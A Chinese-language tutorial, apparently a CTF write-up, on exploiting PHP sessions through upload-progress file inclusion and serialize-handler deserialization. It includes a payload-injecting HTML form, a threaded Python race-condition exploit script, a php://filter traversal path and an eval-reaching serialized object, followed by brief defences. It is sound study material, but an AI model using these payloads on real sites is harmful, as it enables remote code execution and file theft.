session利用的小思路
字数 1021 2025-08-24 23:51:15
Session利用技术详解
一、Session基础概念
Session是服务器端用来跟踪用户状态的一种机制,PHP中的Session可以通过多种方式存储和序列化用户数据。Session的利用主要涉及两个方面:文件包含和反序列化漏洞。
二、Session相关配置
关键PHP.ini配置项:
session.upload_progress.enabled = on // 启用上传进度功能
session.upload_progress.prefix = "upload_progress_" // session键名前缀
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" // 可控的进度名
session.use_strict_mode = off // 允许自定义Session ID
session.save_path = /var/lib/php/sessions // 默认存储位置
session.auto_start = Off // 默认不自动启动session
session.serialize_handler = php_serialize // 序列化处理器
三、Session文件包含漏洞
利用条件
- 存在文件包含漏洞
- session.upload_progress.enabled = on
- session.use_strict_mode = off
- 知道session存储路径
攻击原理
通过控制PHP_SESSION_UPLOAD_PROGRESS的值,将恶意代码写入session文件,然后通过文件包含执行。
示例代码
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
攻击步骤
- 创建恶意session文件:
<form action="http://target.com/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat flag.php');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
- 设置自定义Session ID:
Cookie: PHPSESSID=malicious
- 包含session文件:
http://target.com/index.php?file=/tmp/sess_malicious
条件竞争问题
由于session.upload_progress.cleanup = on会立即清除session内容,需要利用条件竞争:
方法一:Burp Suite爆破
- 一边不断发送上传请求维持session
- 一边不断发送包含请求
方法二:Python脚本
import io
import sys
import requests
import threading
sessid = 'malicious'
def WRITE(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post('http://target.com/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('cat flag.php');?>"},
files={"file": ('1.txt', f)},
cookies={'PHPSESSID': sessid})
def READ(session):
while True:
resp = session.get(f'http://target.com/index.php/?file=/tmp/sess_{sessid}')
if 'flag{' in resp.text:
print(resp.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=WRITE, args=(session,))
t1.daemon = True
t1.start()
READ(session)
方法三:伪协议绕过
使用多级符号链接:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/.../var/www/html/flag.php
四、Session反序列化漏洞
利用条件
- 存在不同的序列化处理器设置
- 可以控制session内容
示例代码
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO {
public $mdzz;
function __construct() {
$this->mdzz = 'phpinfo();';
}
function __destruct() {
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo'])) {
$m = new OowoO();
} else {
highlight_string(file_get_contents('index.php'));
}
攻击原理
当序列化处理器不一致时(如存储用php_serialize,读取用php),可以构造特殊格式的session数据触发反序列化。
攻击步骤
- 构造恶意序列化数据:
<?php
class OowoO {
public $mdzz = 'var_dump(scandir("/opt/lampp/htdocs/"));';
}
$obj = new OowoO();
echo serialize($obj);
// 输出: O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));"}
- 处理特殊字符:
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\"}
- 通过上传表单注入:
<form action="http://target.com/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\"}" />
<input type="file" name="file" />
<input type="submit" />
</form>
- 在序列化字符串前加
|字符,这是php处理器格式的分隔符
五、防御措施
- 设置
session.use_strict_mode = on - 统一序列化处理器
- 设置
session.upload_progress.cleanup = on - 对用户输入的session ID进行过滤
- 避免使用文件包含函数直接包含用户输入
- 设置合理的session存储目录权限
六、总结
Session利用的两个主要方向:
- 文件包含:通过控制session内容实现代码执行
- 反序列化:利用处理器不一致实现对象注入
关键点在于控制PHP_SESSION_UPLOAD_PROGRESS的值和利用条件竞争或处理器差异。理解这些技术需要对PHP的session机制有深入理解。